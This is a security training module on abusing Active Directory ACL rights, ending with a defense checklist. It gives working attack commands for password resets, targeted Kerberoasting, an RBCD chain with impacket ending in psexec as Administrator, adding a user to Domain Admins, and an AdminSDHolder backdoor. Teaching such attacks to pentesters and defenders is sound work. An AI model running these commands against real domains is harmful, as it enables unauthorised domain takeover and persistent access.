Module 4 · AD ACL Abuse — Twenty Years of Accumulated Trust 🔒

Dangerous ACL rights

• GenericAll: full control. Can reset password, change SPN, modify any attribute, modify ACL.
• GenericWrite: write any property. Enables Kerberos delegation, SPN injection.
• WriteDacl: modify ACL. Grant self any right, then exercise it.
• WriteOwner: change owner. New owner can grant any right.
• ForceChangePassword: reset password without knowing current. Classic helpdesk power.
• AddMember: add members to group. Add self to Domain Admins.
• AllExtendedRights: includes DCSync (replicate directory changes).
• DS-Replication-Get-Changes + DS-Replication-Get-Changes-All: DCSync rights.

Classic ACL abuse attack paths

GenericAll on user

# Scenario: you have GenericAll on user 'target_user'
# Path 1: Reset password
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
# Login as target_user

# Path 2: Add SPN + Kerberoast
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fakeservice'}
Rubeus kerberoast /user:target_user
# Crack offline, login without triggering password reset audit

# Path 3: Targeted Kerberoasting (newer, stealthier)
# If target has no SPN, we can set one temporarily, Kerberoast, then unset

GenericWrite on computer (RBCD)

# Scenario: GenericWrite on computer 'TARGET-SRV'
# Resource-Based Constrained Delegation (RBCD) attack

# 1. Create new computer object (MachineAccountQuota default = 10)
python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'Pass123!' \
    -dc-host dc.corp.local corp.local/alice.smith:Password1

# 2. Set FAKE$ as allowed to act on behalf of TARGET-SRV
python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET-SRV' \
    -action write corp.local/alice.smith:Password1

# 3. Request service ticket impersonating any user
python3 getST.py -spn 'cifs/TARGET-SRV.corp.local' \
    -impersonate Administrator -dc-ip 10.1.1.1 \
    corp.local/'FAKE$':'Pass123!'

# 4. Access TARGET-SRV as Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass TARGET-SRV.corp.local

WriteDacl on Domain Admins group

# If you have WriteDacl on Domain Admins:
# 1. Grant yourself AddMember right
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
    -PrincipalIdentity "alice.smith" -Rights WriteMembers

# 2. Add yourself to Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members "alice.smith"

# Game over.

AdminSDHolder abuse

# AdminSDHolder is template for protected group ACLs
# Every hour, SDProp process re-applies this ACL to privileged groups
# If you have WriteDacl on AdminSDHolder, you can add backdoor ACE that gets
# reapplied hourly to Domain Admins, Enterprise Admins, etc.

# 1. Add backdoor ACE
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' \
    -PrincipalIdentity alice.smith -Rights All

# 2. Wait up to 60 minutes for SDProp to propagate
# 3. Now alice has All rights on every protected group

Common sources of ACL exposure

• Helpdesk delegations: “Service Desk” group has ForceChangePassword on many users, including some with privileged access. Find via BloodHound: MATCH (helpdesk)-[:ForceChangePassword]->(user)-[:MemberOf*1..]->(g:Group {name:’DOMAIN ADMINS@CORP.LOCAL’})
• Legacy application install rights: App X installed in 2008 required computer account creation rights; still granted.
• SCCM / ConfigMgr service account: Over-privileged by default. Often has access that bridges tiers.
• Backup software: Traditional backup agents need domain-wide read + sometimes write. Compromise of backup infra = directory compromise.
• Printer / MFP setup accounts: Permissive delegations to allow printer management. Often forgotten.
• Exchange (on-prem): Legacy Exchange installations grant themselves WriteDacl on the domain for mail-enabled object management. CVE-2019-1040 / PrivExchange.

Real-world abuse

• Sky UK (2019, public retrospective): Pentester achieved DA via ACL abuse on service account that nobody knew had WriteDacl on Domain Admins.
• Ransomware playbooks (Conti, LockBit, 2021-2023): After enumeration, ACL abuse consistently named as fastest DA escalation path.
• PrivExchange (CVE-2019-1040): Exchange’s historical WriteDacl on domain. Attacker with low priv + ability to trigger Exchange auth → NTLM relay to LDAPS → DCSync rights → krbtgt extraction.

Defense approach

1. ACL audit. Run Invoke-ACLPwn (open source) or equivalent. Find all ACLs granting dangerous rights.
2. Remove stale delegations. 2008 delegations for apps decommissioned in 2015 = removable.
3. Principal of least privilege for helpdesk. Helpdesk should reset non-privileged users only; OU-based delegation not domain-wide.
4. Service account review. Every service account’s permissions justified by current need. Move to gMSA where possible.
5. Monitor AdminSDHolder for ACL changes. SIEM rule: any write to CN=AdminSDHolder = high severity.
6. Protected Users group. Add privileged users → disables NTLM, RC4, DES; limits TGT lifetime.
7. BloodHound internally, quarterly. Track attack path count; fix the worst paths.

Mindset takeaway

AD ACLs are the network diagram of your identity permissions. Most organizations don’t have one. Attackers with BloodHound have a better understanding of your AD ACL topology than your AD team does. Changing that is the core of modern AD hardening.

For pentesters: always run Cypher queries beyond default BloodHound paths. ACL-based escalation often requires custom queries to find. For defenders: Invoke-ACLPwn or BloodHound Enterprise for continuous monitoring. Every unnecessary delegation removed is an attack path closed.